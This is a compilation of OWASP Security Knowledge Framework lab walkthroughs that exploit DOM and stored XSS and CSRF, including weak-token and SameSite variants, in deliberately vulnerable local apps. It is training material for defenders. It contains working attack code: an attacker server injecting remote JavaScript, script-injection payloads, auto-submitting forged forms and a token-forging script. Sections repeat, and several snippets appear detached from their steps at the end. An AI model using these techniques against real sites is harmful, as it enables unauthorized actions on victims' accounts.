Inspecting the source code of the application.

function loadWelcomeMessage() {
  setTimeout(function () {
    endpoint = location.hash.slice(5);
    var script = document.createElement("script");
    if (endpoint) {
      script.src = endpoint + "/js/welcome.js";
    } else {
      script.src = "/js/welcome.js";
    }
    document.head.appendChild(script);
  }, 2000);
}

We notice the application imports javascript files into the application using this function.

endpoint = location.hash.slice(5);

Declaring endpoint variable which takes the url, whatever is after the hash(#) and using slice to remove the first 4 characters after that. If the endpoint exists it will load the js file from there.

Exploitation

We can start building our malicious server and server the application with our malicious js file.

from flask import Flask

app = Flask(__name__, static_url_path='/static', static_folder='static')
app.config['DEBUG'] = True

@app.route("/<path:path>")
def static_file(path):
    return app.send_static_file(path)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=1337)

Save the snippet above to > evil_server.py and run the commands below to install some dependencies. Of course you can also run your app on whatever service you want it does not have to be python flask.

$ pip3 install flask

Now we need to create our malicous js file, save the following snippet code into /static/js/welcome.js

document.getElementsByClassName("panel-body")[0].innerText = "pwned!";

We are ready to start our server:

$ python3 evil_server.py

Now we can serve our malicious js file to the application

http://0.0.0.0:5000/#xxxxhttp://0.0.0.0:1337

Additional sources

Please refer to the OWASP testing guide for a full complete description about cross site scripting!

Python - CSRF

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:csrf
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:csrf

Now that the app is running let's go hacking!

Reconnaissance

CSRF is an attack that tricks the victim into submitting a malicious request. It inherits the identity and privileges of the victim to perform an undesired function on the victim's behalf. For most sites, browser requests automatically include any credentials associated with the site, such as the user's session cookie, IP address, Windows domain credentials, and so forth. Therefore, if the user is currently authenticated to the site, the site will have no way to distinguish between the forged request sent by the attacker and a legitimate request sent by the victim.

CSRF attacks target functionality that causes a state change / data mutation on the server, such as changing the victim's email address or password, or purchasing something. Forcing the victim to retrieve data doesn't benefit an attacker because the attacker doesn't receive the response, the victim does. As such, CSRF attacks target state-changing requests.

It's sometimes possible to store the CSRF attack on the vulnerable site itself. Such vulnerabilities are called "stored CSRF flaws". This can be accomplished by simply storing an IMG or IFRAME tag in a field that accepts HTML, or by a more complex cross-site scripting attack. If the attack can store a CSRF attack in the site, the severity of the attack is amplified. In particular, the likelihood is increased because the victim is more likely to view the page containing the attack than some random page on the Internet. The likelihood is also increased because the victim is sure to be authenticated to the site already.

Lets start the application and login with the default credentials.

username : admin password: admin

When we are loggedin to the application we can see that we can set our favorite color and this will be stored in the session of the user.

If we inspect the request with an intercepting proxy we can see that the application is performing a POST request that results in a data mutation, storing our favorite color into the session of the user and displaying this back to the user in the HTML website.

Also we can see that the application is not using any form of protection for preventing CSRF because there is no unique token being send in the POST request.

Exploitation

In order to to exploit this vulnerability we need to set up our evil webserver to do the malicious CSRF using a POST request from. We could achieve this by creating the following python flask application.

from flask import Flask, request, url_for, render_template, redirect, make_response
import requests


app = Flask(__name__, static_url_path='/static', static_folder='static')

app.config['DEBUG'] = True

@app.route("/")
def start():
    return render_template("evil.html")

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=1337)

Save the snippet above to > app.py and run the commands below to install some dependencies.

$ pip install flask
$ pip install requests

Of course you can also run your app on whatever service you want it does not have to be python flask.

Now that the service is running we want to serve the malicious piece of javascript that is responsible for performing the malicious CSRF POST request.

<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' action='http://0.0.0.0:5000/update' target="csrf-frame" id="csrf-form">
  <input type='hidden' name='color' value='Hackzord!'>
  <input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>

Save the snippet above to > templates/evil.html and run the command below to start our evil application.

$ python app.py

Now when we have in the browser tab our active session of the application we can open a new tab where we will load our evil page we just created.

http://localhost:1337/

This will now create a POST request to the application and changing the value of blue to the new value of 'Hackzord!' As you can see the Referer is set to our evil website where the request originated from.

Also when we refresh the original page of the application we can see that the new vaulue has been replaced with the content of our evil app.

Additional sources

NodeJS - CSRF

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:js-csrf
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:js-csrf

Now that the app is running let's go hacking!

Reconnaissance

CSRF is an attack that tricks the victim into submitting a malicious request. It inherits the identity and privileges of the victim to perform an undesired function on the victim's behalf. For most sites, browser requests automatically include any credentials associated with the site, such as the user's session cookie, IP address, Windows domain credentials, and so forth. Therefore, if the user is currently authenticated to the site, the site will have no way to distinguish between the forged request sent by the attacker and a legitimate request sent by the victim.

CSRF attacks target functionality that causes a state change / data mutation on the server, such as changing the victim's email address or password, or purchasing something. Forcing the victim to retrieve data doesn't benefit an attacker because the attacker doesn't receive the response, the victim does. As such, CSRF attacks target state-changing requests.

It's sometimes possible to store the CSRF attack on the vulnerable site itself. Such vulnerabilities are called "stored CSRF flaws". This can be accomplished by simply storing an IMG or IFRAME tag in a field that accepts HTML, or by a more complex cross-site scripting attack. If the attack can store a CSRF attack in the site, the severity of the attack is amplified. In particular, the likelihood is increased because the victim is more likely to view the page containing the attack than some random page on the Internet. The likelihood is also increased because the victim is sure to be authenticated to the site already.

Lets start the application and login with the default credentials.

username : admin
password: admin

When we are loggedin to the application we can see that we can set our favorite color and this will be stored in the session of the user.

If we inspect the request with an intercepting proxy we can see that the application is performing a POST request that results in a data mutation, storing our favorite color into the session of the user and displaying this back to the user in the HTML website.

Also we can see that the application is not using any form of protection for preventing CSRF because there is no unique token being send in the POST request.

Exploitation

In order to to exploit this vulnerability we need to set up our evil webserver to do the malicious CSRF using a POST request from. We could achieve this by creating the following express application:

const express = require("express");
const app = express();

app.use(express.static(__dirname + "/static"));
app.use(express.urlencoded({ extended: true }));

app.get("", (req, res) => {
  res.render("evil.ejs");
});

const port = process.env.PORT || 1337;

app.listen(port, "0.0.0.0", () =>
  console.log(`Listening on port ${port}...!!!`)
);

Save the snippet above to > evil_server.js and run the commands below to install some dependencies.

$ npm install express ejs

Of course you can also run your app on whatever service you want it does not have to be nodejs express.

Now that the service is running we want to serve the malicious piece of javascript that is responsible for performing the malicious CSRF POST request.

<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' action='http://localhost:5000/update' target="csrf-frame" id="csrf-form">
  <input type='hidden' name='color' value='Hackzord!'>
  <input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>

Save the snippet above to > views/evil.ejs and run the command below to start our evil application.

$ node evil_server.js

Now when we have in the browser tab our active session of the application we can open a new tab where we will load our evil page we just created.

http://localhost:1337/

This will now create a POST request to the application and changing the value of blue to the new value of 'Hackzord!' As you can see the Referer is set to our evil website where the request originated from.

Also when we refresh the original page of the application we can see that the new vaulue has been replaced with the content of our evil app.

Additional sources

NodeJS - XSS-DOM-2

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:js-xss-dom2
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:js-xss-dom2

Now that the app is running let's go hacking!

Reconnaissance

Step 1

The application shows no input field or anything else we can interact with. Let's inspect the source code.

Inspecting the source code of the application.

function loadWelcomeMessage() {
  setTimeout(function () {
    endpoint = location.hash.slice(5);
    var script = document.createElement("script");
    if (endpoint) {
      script.src = endpoint + "/js/welcome.js";
    } else {
      script.src = "/js/welcome.js";
    }
    document.head.appendChild(script);
  }, 2000);
}

We notice the application imports javascript files into the application using this function.

endpoint = location.hash.slice(5);

Declaring endpoint variable which takes the url, whatever is after the hash(#) and using slice to remove the first 4 characters after that. If the endpoint exists it will load the js file from there.

Exploitation

We can start building our malicious server and server the application with our malicious js file.

from flask import Flask

app = Flask(__name__, static_url_path='/static', static_folder='static')
app.config['DEBUG'] = True

@app.route("/<path:path>")
def static_file(path):
    return app.send_static_file(path)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=1337)

Save the snippet above to > evil_server.py and run the commands below to install some dependencies. Of course you can also run your app on whatever service you want it does not have to be python flask.

$ pip3 install flask

Now we need to create our malicous js file, save the following snippet code into /static/js/welcome.js

document.getElementsByClassName("panel-body")[0].innerText = "pwned!";

We are ready to start our server:

$ python3 evil_server.py

Now we can serve our malicious js file to the application

http://0.0.0.0:5000/#xxxxhttp://0.0.0.0:1337

Additional sources

Please refer to the OWASP testing guide for a full complete description about cross site scripting!

Java - XSS-Stored

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:xss-stored
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:xss-stored

Now that the app is running let's go hacking!

Reconnaissance

Step 1

The application home page shows links to different pages.

By clicking in one of the links and on the Edit button,the application shows an input field box were we can try our injections.

Lets first inject a normal test string and see how our input is used in the application.

Now, clicking on save, the page content is updated.

In the source of the application we can see that this application will take the user input and save the page updates in the database. Thereafter, the page is reloaded and the new information is displayed via template variable.

Controller

  @GetMapping("/home/{id}")
    public String home(@PathVariable String id, Model model) {
        List<Page> pages = xssModel.getPage(id);
        model.addAttribute("page", pages.get(0));
        return "index";
    }

    @PostMapping("/update")
	public String update(@RequestParam(name="pageId", required=true) int pageId,
                        @RequestParam(name="title", required=true) String title,
                        @RequestParam(name="content", required=true) String content) {
    Page page = new Page(pageId, title, content);
    xssModel.updatePage(page);
        return "redirect:/home/"+pageId;
    }

HTML Template

<center>
        <p style="font-size:2em;">
			 <th:block th:text="${page?.title}"></th:block>
		    	 <br/>
	 		<th:block th:utext="${page?.content}"></th:block>
		  </p>
      </center>

The variable is then used in the index.html to display the content supplied by the user. But as you can see the tag being used is th:utext which means is not being escaped by the thymeleaf template engine . This indicates that is should be possible to perform a Cross Site Scripting (XSS) injection.

Exploitation

Step 1

Now we have seen where the user input is stored in the database and reflected in the application we will have to look what dangerous HTML characters are not properly escaped so we can build our XSS payload. So for our first check we use the following string as an input:

foobar">/<

The application automatically reloads the page with a redirection. Let's see how the payload is loaded in the HTTP response:

As you can see the application did not encode or blacklisted any of the dangerous HTML characters. Now lets try the XSS payload to see if this also is reflected back withouth any escaping or blacklist filtering.

foobar<script>alert(123)</script>

Again the application is not encoding or blacklisted any of the dangerous HTML characters. This payload seems to work in the intercepting proxy. Now lets try it in our browser.

We can see the XSS alert pop-up and we have successfully performed the XSS attack.

Additional sources

Please refer to the OWASP testing guide for a full complete description about cross site scripting!

NodeJS - XSS-DOM

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:js-xss-dom
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:js-xss-dom

Now that the app is running let's go hacking!

Reconnaissance

Step 1

The application shows an input field box were we can try our injections. Lets first inject a normal test string and see how our input is used in the application.

As you can see below the input is reflected in the DOM.

Inspecting the source code of the application we can see that this application will take the user input and use it in the application where id="dom".

function submit() {
  value = $("#input").val();
  console.log(value);
  $("#dom").html(value);
}

Exploitation

Step 1

Now we have seen where the user input is being reflected in the application we will have to look what dangerous HTML characters are not properly escaped so we can build our XSS payload. So for our first check we use the following string as an input:

foobar"></

As you can see the application did not encode or blacklisted any of the dangerous HTML characters. Now lets try the XSS payload to see if this also is reflected back withouth any escaping or blacklist filtering.

foobar<script>alert("XSS-DOM")</script>

In Firefox we can see the XSS alert pop-up and we have successfully performed the XSS attack.

Additional sources

Please refer to the OWASP testing guide for a full complete description about cross site scripting!

Python - CSRF-Weak

Running the app on Docker

Now that the app is running let's go hacking!

Reconnaissance

CSRF is an attack that tricks the victim into submitting a malicious request. It inherits the identity and privileges of the victim to perform an undesired function on the victim's behalf. For most sites, browser requests automatically include any credentials associated with the site, such as the user's session cookie, IP address, Windows domain credentials, and so forth. Therefore, if the user is currently authenticated to the site, the site will have no way to distinguish between the forged request sent by the attacker and a legitimate request sent by the victim.

CSRF attacks target functionality that causes a state change / data mutation on the server, such as changing the victim's email address or password, or purchasing something. Forcing the victim to retrieve data doesn't benefit an attacker because the attacker doesn't receive the response, the victim does. As such, CSRF attacks target state-changing requests.

It's sometimes possible to store the CSRF attack on the vulnerable site itself. Such vulnerabilities are called "stored CSRF flaws". This can be accomplished by simply storing an IMG or IFRAME tag in a field that accepts HTML, or by a more complex cross-site scripting attack. If the attack can store a CSRF attack in the site, the severity of the attack is amplified. In particular, the likelihood is increased because the victim is more likely to view the page containing the attack than some random page on the Internet. The likelihood is also increased because the victim is sure to be authenticated to the site already.

Lets start the application and login with the default credentials.

When we are loggedin to the application we can see that we can set our favorite color and this will be stored in the session of the user.

If we inspect the request with an intercepting proxy we can see that the application is performing a POST request that results in a data mutation, storing our favorite color into the session of the user and displaying this back to the user in the HTML website.

Also we can see that the application is using a csrf_token

Looks like it's Base64 encoded, let's first decoded the URL-encoded format then base64 decode:

The csrf token is simply username + time.

Checking the application code we can how this csrf_token is being implemented.

Exploitation

In order to to exploit this vulnerability we need to set up our evil webserver to do the malicious CSRF using a POST request from and sending the weak csrf_token with. We could achieve this by creating the following python flask application:

Save the snippet above to > evil_server.py and run the commands below to install some dependencies.

Of course you can also run your app on whatever service you want it does not have to be python flask.

Now that the service is running we want to serve the malicious piece of javascript that is responsible for performing the malicious CSRF POST request.

Save the snippet above to > templates/evil.html and run the command below to start our evil application.

Now when we have in the browser tab our active session of the application we can open a new tab where we will load our evil page we just created.

This will now create a POST request to the application and changing the value of blue to the new value of 'Hackzord!' As you can see the Referer is set to our evil website where the request originated from and we have our forged csrf_token with the request.

Also when we refresh the original page of the application we can see that the new vaulue has been replaced with the content of our evil app.

Additional sources

Java - CSRF-SameSite

Running the app on Docker

Now that the app is running let's go hacking!

Reconnaissance

CSRF is an attack that tricks the victim into submitting a malicious request. It inherits the identity and privileges of the victim to perform an undesired function on the victim's behalf. For most sites, browser requests automatically include any credentials associated with the site, such as the user's session cookie, IP address, Windows domain credentials, and so forth. Therefore, if the user is currently authenticated to the site, the site will have no way to distinguish between the forged request sent by the victim and a legitimate request sent by the victim.

CSRF attacks target functionality that causes a state change / data mutation on the server, such as changing the victim's email address or password, or purchasing something. Forcing the victim to retrieve data doesn't benefit an attacker because the attacker doesn't receive the response, the victim does. As such, CSRF attacks target state-changing requests.

It's sometimes possible to store the CSRF attack on the vulnerable site itself. Such vulnerabilities are called "stored CSRF flaws". This can be accomplished by simply storing an IMG or IFRAME tag in a field that accepts HTML, or by a more complex cross-site scripting attack. If the attack can store a CSRF attack in the site, the severity of the attack is amplified. In particular, the likelihood is increased because the victim is more likely to view the page containing the attack than some random page on the Internet. The likelihood is also increased because the victim is sure to be authenticated to the site already.

Lets start the application and login with the default credentials.

When we are loggedin to the application we can see that we can set our favorite color and this will be stored in the session of the user.

If we inspect the request with an intercepting proxy we can see that the application is performing a POST request that results in a data mutation, storing our favorite color into the session of the user and displaying this back to the user in the HTML website.

Also we can see that the application is not using any form of protection for preventing CSRF because there is no unique token being send in the POST request.

Exploitation

In order to to exploit this vulnerability we need to set up our evil webserver to do the malicious CSRF using a POST request from. We could achieve this by creating the following python flask application.

Save the snippet above to > app.py and run the commands below to install some dependencies.

Of course you can also run your app on whatever service you want it does not have to be python flask.

Now that the service is running we want to serve the malicious piece of javascript that is responsible for performing the malicious CSRF POST request.

Save the snippet above to > templates/evil.html and run the command below to start our evil application.

Now when we have in the browser tab our active session of the application we can open a new tab where we will load our evil page we just created.

This will now create a POST request to the application and changing the value of blue to the new value of 'Hackzord!' As you can see the Referer is set to our evil website where the request originated from.

Also when we refresh the original page of the application we can see that the new value has been replaced with the content of our evil app.

SameSite Attribute

The modern browsers have introduced a defense in depth mechanism against CSRF type of attacks, the SameSite cookie attribute.

This attribute allows the user-agents to identify whether a cookie should be sent along with cross-site-requests or not.

It can be set with the following values:

Value
Result

To make this concept more clear, let's exercise it within this SKF Lab.

In the home page, use the Secure Login form for authentication.

You can note in Burp's response tab the cookie was set with samesite=strict.

Set your preferred color.

Now, in a different browser tab, try to run again the CSRF attack.

Go back to the first tab and check if the color was changed by the CSRF attack or not by clicking on refresh the page.

Nothing has changed!

Looking at request logged in Burp, we can understand the reason.

As the cookie was set in Strict mode, the browser was instructed to not send it with any cross-site-request. Thus, as Color Change requires an authenticated session, this request is treated as anonymous one and, therefore,rejected by the application.

Let's see how Lax mode works, by using the Login Still Insecure authentication form.

You can note in Burp's response tab the cookie was set with samesite=lax.

Set your preferred color and once again run the CSRF attack in a different tab.

Go back to the first tab and check if the color has changed by the CSRF attack or not, by clicking on refresh the page.

Nothing has changed again! Lax mode also blocked the cookie to be sent over POST cross-site-request.

This lab was specially designed to also accept GET query string parameters for color changing.

Now adapt the CSRF Evil Server page to send a GET request as link and click on it.

The request will be executed containing the required cookies, therefore, the CSRF attack is successful.

Lax mode allowed the browser to send the cookie through the cross-site-request after top-level navigation using a non-CSFR method (GET). In other words, if the application accepts GET query string parameters to change data in persistence(or allows POST requests being converted into GET), CSRF attack will also succeed.

Additional sources

Java - CSRF

Running the app on Docker

Now that the app is running let's go hacking!

Reconnaissance

CSRF is an attack that tricks the victim into submitting a malicious request. It inherits the identity and privileges of the victim to perform an undesired function on the victim's behalf. For most sites, browser requests automatically include any credentials associated with the site, such as the user's session cookie, IP address, Windows domain credentials, and so forth. Therefore, if the user is currently authenticated to the site, the site will have no way to distinguish between the forged request sent by the attacker and a legitimate request sent by the victim.

CSRF attacks target functionality that causes a state change / data mutation on the server, such as changing the victim's email address or password, or purchasing something. Forcing the victim to retrieve data doesn't benefit an attacker because the attacker doesn't receive the response, the victim does. As such, CSRF attacks target state-changing requests.

It's sometimes possible to store the CSRF attack on the vulnerable site itself. Such vulnerabilities are called "stored CSRF flaws". This can be accomplished by simply storing an IMG or IFRAME tag in a field that accepts HTML, or by a more complex cross-site scripting attack. If the attack can store a CSRF attack in the site, the severity of the attack is amplified. In particular, the likelihood is increased because the victim is more likely to view the page containing the attack than some random page on the Internet. The likelihood is also increased because the victim is sure to be authenticated to the site already.

Lets start the application and login with the default credentials.

username : admin password: admin

When we are loggedin to the application we can see that we can set our favorite color and this will be stored in the session of the user.

If we inspect the request with an intercepting proxy we can see that the application is performing a POST request that results in a data mutation, storing our favorite color into the session of the user and displaying this back to the user in the HTML website.

Also we can see that the application is not using any form of protection for preventing CSRF because there is no unique token being send in the POST request.

Exploitation

In order to to exploit this vulnerability we need to set up our evil webserver to do the malicious CSRF using a POST request from. We could achieve this by creating the following python flask application.

Save the snippet above to > app.py and run the commands below to install some dependencies.

Of course you can also run your app on whatever service you want it does not have to be python flask.

Now that the service is running we want to serve the malicious piece of javascript that is responsible for performing the malicious CSRF POST request.

Save the snippet above to > templates/evil.html and run the command below to start our evil application.

Now when we have in the browser tab our active session of the application we can open a new tab where we will load our evil page we just created.

This will now create a POST request to the application and changing the value of blue to the new value of 'Hackzord!' As you can see the Referer is set to our evil website where the request originated from.

Also when we refresh the original page of the application we can see that the new vaulue has been replaced with the content of our evil app.

Additional sources

NodeJS - CSRF-SameSite

Running the app on Docker

Now that the app is running let's go hacking!

Reconnaissance

CSRF is an attack that tricks the victim into submitting a malicious request. It inherits the identity and privileges of the victim to perform an undesired function on the victim's behalf. For most sites, browser requests automatically include any credentials associated with the site, such as the user's session cookie, IP address, Windows domain credentials, and so forth. Therefore, if the user is currently authenticated to the site, the site will have no way to distinguish between the forged request sent by the victim and a legitimate request sent by the victim.

CSRF attacks target functionality that causes a state change / data mutation on the server, such as changing the victim's email address or password, or purchasing something. Forcing the victim to retrieve data doesn't benefit an attacker because the attacker doesn't receive the response, the victim does. As such, CSRF attacks target state-changing requests.

It's sometimes possible to store the CSRF attack on the vulnerable site itself. Such vulnerabilities are called "stored CSRF flaws". This can be accomplished by simply storing an IMG or IFRAME tag in a field that accepts HTML, or by a more complex cross-site scripting attack. If the attack can store a CSRF attack in the site, the severity of the attack is amplified. In particular, the likelihood is increased because the victim is more likely to view the page containing the attack than some random page on the Internet. The likelihood is also increased because the victim is sure to be authenticated to the site already.

Lets start the application and login with the default credentials.

username : admin password: admin

When we are loggedin to the application we can see that we can set our favorite color and this will be stored in the session of the user.

If we inspect the request with an intercepting proxy we can see that the application is performing a POST request that results in a data mutation, storing our favorite color into the session of the user and displaying this back to the user in the HTML website.

Also we can see that the application is not using any form of protection for preventing CSRF because there is no unique token being send in the POST request.

Exploitation

In order to to exploit this vulnerability we need to set up our evil webserver to do the malicious CSRF using a POST request from. We could achieve this by creating the following python flask application.

Save the snippet above to > app.py and run the commands below to install some dependencies.

Of course you can also run your app on whatever service you want it does not have to be python flask.

Now that the service is running we want to serve the malicious piece of javascript that is responsible for performing the malicious CSRF POST request.

Save the snippet above to > templates/evil.html and run the command below to start our evil application.

Now when we have in the browser tab our active session of the application we can open a new tab where we will load our evil page we just created.

This will now create a POST request to the application and changing the value of blue to the new value of 'Hackzord!' As you can see the Referer is set to our evil website where the request originated from.

Also when we refresh the original page of the application we can see that the new value has been replaced with the content of our evil app.

SameSite Attribute

The modern browsers have introduced a defense in depth mechanism against CSRF type of attacks, the SameSite cookie attribute.

This attribute allows the user-agents to identify whether a cookie should be sent along with cross-site-requests or not.

It can be set with the following values:

Value
Result

To make this concept more clear, let's exercise it within this SKF Lab.

In the home page, use the Secure Login form for authentication.

You can note in Burp's response tab the cookie was set with SameSite=Strict.

Set your preferred color.

Now, in a different browser tab, try to run again the CSRF attack.

Go back to the first tab and check if the color was changed by the CSRF attack or not by clicking on refresh the page.

Nothing has changed!

Looking at request logged in Burp, we can understand the reason: no cookie!

As the cookie was set in Strict mode, the browser was instructed to not send it with any cross-site-request. Thus, as Color Change requires an authenticated session, this request is treated as anonymous one and, therefore,rejected by the application.

Let's see how Lax mode works, by using the Login Still Insecure authentication form.

You can note in Burp's response tab the cookie was set with SameSite=Lax.

Set your preferred color and once again run the CSRF attack in a different tab.

Go back to the first tab and check if the color has changed by the CSRF attack or not, by clicking on refresh the page.

Nothing has changed again! Lax mode also blocked the cookie to be sent over POST cross-site-request.

This lab was specially designed to also accept GET query string parameters for color changing.

Now adapt the CSRF Evil Server page to send a GET request as link and click on it.

The request will be executed containing the required cookies, therefore, the CSRF attack is successful.

Lax mode allowed the browser to send the cookie through the cross-site-request after top-level navigation using a non-CSFR method (GET). In other words, if the application accepts GET query string parameters to change data in persistence(or allows POST requests being converted into GET), CSRF attack will also succeed.

Additional sources

Python - CSRF-SameSite

Running the app on Docker

Now that the app is running let's go hacking!

Reconnaissance

CSRF is an attack that tricks the victim into submitting a malicious request. It inherits the identity and privileges of the victim to perform an undesired function on the victim's behalf. For most sites, browser requests automatically include any credentials associated with the site, such as the user's session cookie, IP address, Windows domain credentials, and so forth. Therefore, if the user is currently authenticated to the site, the site will have no way to distinguish between the forged request sent by the victim and a legitimate request sent by the victim.

CSRF attacks target functionality that causes a state change / data mutation on the server, such as changing the victim's email address or password, or purchasing something. Forcing the victim to retrieve data doesn't benefit an attacker because the attacker doesn't receive the response, the victim does. As such, CSRF attacks target state-changing requests.

It's sometimes possible to store the CSRF attack on the vulnerable site itself. Such vulnerabilities are called "stored CSRF flaws". This can be accomplished by simply storing an IMG or IFRAME tag in a field that accepts HTML, or by a more complex cross-site scripting attack. If the attack can store a CSRF attack in the site, the severity of the attack is amplified. In particular, the likelihood is increased because the victim is more likely to view the page containing the attack than some random page on the Internet. The likelihood is also increased because the victim is sure to be authenticated to the site already.

Lets start the application and login with the default credentials.

username : admin password: admin

When we are loggedin to the application we can see that we can set our favorite color and this will be stored in the session of the user.

If we inspect the request with an intercepting proxy we can see that the application is performing a POST request that results in a data mutation, storing our favorite color into the session of the user and displaying this back to the user in the HTML website.

Also we can see that the application is not using any form of protection for preventing CSRF because there is no unique token being send in the POST request.

Exploitation

In order to to exploit this vulnerability we need to set up our evil webserver to do the malicious CSRF using a POST request from. We could achieve this by creating the following python flask application.

Save the snippet above to > app.py and run the commands below to install some dependencies.

Of course you can also run your app on whatever service you want it does not have to be python flask.

Now that the service is running we want to serve the malicious piece of javascript that is responsible for performing the malicious CSRF POST request.

Save the snippet above to > templates/evil.html and run the command below to start our evil application.

Now when we have in the browser tab our active session of the application we can open a new tab where we will load our evil page we just created.

This will now create a POST request to the application and changing the value of blue to the new value of 'Hackzord!' As you can see the Referer is set to our evil website where the request originated from.

Also when we refresh the original page of the application we can see that the new value has been replaced with the content of our evil app.

SameSite Attribute

The modern browsers have introduced a defense in depth mechanism against CSRF type of attacks, the SameSite cookie attribute.

This attribute allows the user-agents to identify whether a cookie should be sent along with cross-site-requests or not.

It can be set with the following values:

Value
Result

To make this concept more clear, let's exercise it within this SKF Lab.

In the home page, use the Secure Login form for authentication.

You can note in Burp's response tab the cookie was set with SameSite=Strict.

Set your preferred color.

Now, in a different browser tab, try to run again the CSRF attack.

Go back to the first tab and check if the color was changed by the CSRF attack or not by clicking on refresh the page.

Nothing has changed!

Looking at request logged in Burp, we can understand the reason.

As the cookie was set in Strict mode, the browser was instructed to not send it with any cross-site-request. Thus, as Color Change requires an authenticated session, this request is treated as anonymous one and, therefore,rejected by the application.

Let's see how Lax mode works, by using the Login Still Insecure authentication form.

You can note in Burp's response tab the cookie was set with SameSite=Lax.

Set your preferred color and once again run the CSRF attack in a different tab.

Go back to the first tab and check if the color has changed by the CSRF attack or not, by clicking on refresh the page.

Nothing has changed again! Lax mode also blocked the cookie to be sent over POST cross-site-request.

This lab was specially designed to also accept GET query string parameters for color changing.

Now adapt the CSRF Evil Server page to send a GET request as link and click on it.

The request will be executed containing the required cookies, therefore, the CSRF attack is successful.

Lax mode allowed the browser to send the cookie through the cross-site-request after top-level navigation using a non-CSFR method (GET). In other words, if the application accepts GET query string parameters to change data in persistence(or allows POST requests being converted into GET), CSRF attack will also succeed.

Additional sources

$ sudo docker pull blabla1337/owasp-skf-lab:csrf-weak
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:csrf-weak
username : admin
password: admin
<form method="post" action="/update">
  <input
    type="hidden"
    class="form-control"
    name="csrf_token"
    value="

<div data-gb-custom-block data-tag="autoescape" data-0='true'>{{csrf_token}}</div>"
  />
  <input
    type="text"
    class="form-control"
    name="color"
    placeholder="favorite color"
  /><br />
  <button class="btn btn-primary" type="submit">Submit Button</button>
</form>
    time = strftime("%H:%M", gmtime())
    csrf = request.form['username'] + time
    session['csrf_token'] = base64.b64encode(csrf.encode())
    csrf_token = str(session['csrf_token'], 'utf-8')
import base64
from time import gmtime, strftime
from flask import Flask, request, url_for, render_template, redirect, make_response

app = Flask(__name__, static_url_path='/static', static_folder='static')

app.config['DEBUG'] = True

@app.route("/")
def start():
    time = strftime("%H:%M", gmtime())
    csrf = "admin" + time
    csrf_raw = base64.b64encode(csrf.encode())
    csrf_token = str(csrf_raw, 'utf-8')
    return render_template("evil.html", csrf_token = csrf_token)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=1337)
$ pip3 install flask
<iframe style="display:none" name="csrf-frame"></iframe>
<form
  method="POST"
  action="http://localhost:5000/update"
  target="csrf-frame"
  id="csrf-form"
>
  <input type="hidden" name="color" value="Hackzord!" />
  <input
    type="hidden"
    name="csrf_token"
    value="<div data-gb-custom-block data-tag="autoescape" data-0='true'>{{csrf_token}}</div>

"
  />
  <input type="submit" value="submit" />
</form>
<script>
  document.getElementById("csrf-form").submit();
</script>
$ python3 evil_server.py
http://localhost:1337/
$ sudo docker pull blabla1337/owasp-skf-lab:java-csrf-samesite
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:java-csrf-samesite
username : admin
password: admin
from flask import Flask, request, url_for, render_template, redirect, make_response
import requests


app = Flask(__name__, static_url_path='/static', static_folder='static')

app.config['DEBUG'] = True

@app.route("/")
def start():
    return render_template("evil.html")

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=1337)
$ pip install flask
$ pip install requests
$ python app.py
<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' action='http://localhost:5000/update' target="csrf-frame" id="csrf-form">
  <input type='hidden' name='color' value='Hackzord!'>
  <input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>
$ python app.py
http://localhost:1337/
Set-Cookie: session=eyJsb2dnZWRpbiI6dHJ1ZSwidXNlcklkIjoxfQ.EF0EsA.9BZ_v9-AKp7lPsL1NV9xOECWMog;
HttpOnly; Path=/; SameSite=Strict

Strict

Cookie will be only sent with same-site requests.

Lax

Cookie will be sent with same-site requests and, also, with cross-site-requests generated after top-level navigation (by clicking on a link) that are not CSRF-prone.

None

Cookies will always be sent with cross-site-requests.

HTTP/1.1 200 
Set-Cookie: JSESSIONID=05ACDD9FB186330F2C669995FE596C70; HttpOnly; SameSite=strict
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Date: Wed, 04 Jan 2023 15:05:14 GMT
Connection: close
Content-Length: 9828
HTTP/1.1 200 
Set-Cookie: JSESSIONID=7F34B3F8E5C0636C3C653A3A65F08241; HttpOnly; SameSite=lax
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Date: Wed, 04 Jan 2023 15:13:25 GMT
Connection: close
Content-Length: 9822
<a href="http://localhost:5000/update?color=Hackzord%21">Try with GET method</a>
$ sudo docker pull blabla1337/owasp-skf-lab:java-csrf
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:java-csrf
from flask import Flask, request, url_for, render_template, redirect, make_response
import requests


app = Flask(__name__, static_url_path='/static', static_folder='static')

app.config['DEBUG'] = True

@app.route("/")
def start():
    return render_template("evil.html")

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=1337)
$ pip3 install flask
$ pip3 install requests
<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' action='http://0.0.0.0:5000/update' target="csrf-frame" id="csrf-form">
  <input type='hidden' name='color' value='Hackzord!'>
  <input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>
$ python3 app.py
http://0.0.0.0:1337/
